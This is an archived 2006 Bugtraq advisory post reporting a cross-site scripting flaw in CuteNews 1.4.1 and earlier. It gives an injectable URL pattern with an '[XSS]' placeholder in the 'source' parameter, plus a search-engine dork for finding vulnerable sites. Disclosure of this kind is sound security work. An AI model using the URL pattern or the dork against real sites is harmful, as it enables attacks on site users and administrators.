[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

CuteNews 1.4.1 <= Cross Site Scripting

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: CuteNews 1.4.1 <= Cross Site Scripting
From: sn4k3.23@xxxxxxxxx
Date: 18 Apr 2006 22:19:50 -0000

// CuteNews 1.4.1 <= Cross Site Scripting //

-----------------------------------------------------------------

[~] Advisory by: LoK-Crew ~ Snake_23

[-] Exploit: 
http://www.example.com/index.php?mod=editnews&action=editnews&id=1145397112&source=[XSS]

[-] Googledork: Powered by CuteNews 1.4.1 

[+] Greetz to: PHCN
[+] Visit: www.LoK-Crew.de.am

Prev by Date: Re: gcc 4.1 bug miscompiles pointer range checks, may place you at risk
Next by Date: SQL Injection in package SYS.DBMS_LOGMNR_SESSION
Previous by thread: [Symantec Security Advisory] LiveUpdate for Macintosh Local Privilege Escalation
Next by thread: Re: CuteNews 1.4.1 <= Cross Site Scripting
Index(es):
- Date
- Thread